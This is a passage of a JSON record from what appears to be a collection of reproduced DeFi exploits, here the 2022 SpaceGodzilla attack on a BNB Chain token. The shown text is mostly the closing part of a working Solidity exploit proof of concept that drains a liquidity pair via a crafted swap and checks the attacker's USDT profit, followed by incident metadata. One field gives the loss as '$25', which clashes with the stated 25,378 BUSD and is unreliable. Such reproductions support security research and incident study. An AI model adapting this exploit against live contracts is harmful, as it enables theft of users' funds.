\u53ef\u80fd\u6703\u8b8a\u52d5\uff0c\u56e0\u70ba\u4e0d\u77e5\u9053\u653b\u64ca\u8005\u600e\u9ebc\u7b973\uff05\u624b\u7e8c\u8cbb\n // ========================================================\n uint256 amount1Out = r1 - (r1 * 32 / 1000);\n emit log_named_uint(\"First swap amount1Out\", amount1Out); // 2,978,176,485,325,154,862,214,560\n Uni_Pair_V2(CakeLP).swap(0, amount1Out, address(this), \"\");\n\n // ========================================================\n usdt_balance = IERC20(USDT).balanceOf(address(this));\n emit log_named_decimal_uint(\"[info] Attacker Wallet USDT Balance\", usdt_balance, 18);\n\n require(usdt_balance > init_capital, \"Exploit Failed, attacker take losses\");\n uint256 profit = usdt_balance - init_capital;\n emit log_named_decimal_uint(\"[Profit] Attacker Wallet USDT Profit\", profit, 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "25,378 BUSD", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x3d817ea746edd02c088c4df47c0ece0bd28dcd72", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0x7f183df11f1a0225b5eb5bb2296b5dc51c0f3570e8cc15f0754de8e6f8b4cca4*/", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$25", "content_richness_score": 9, "quality_estimate": "high", "title": "SpaceGodzilla Exploit (2022-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false}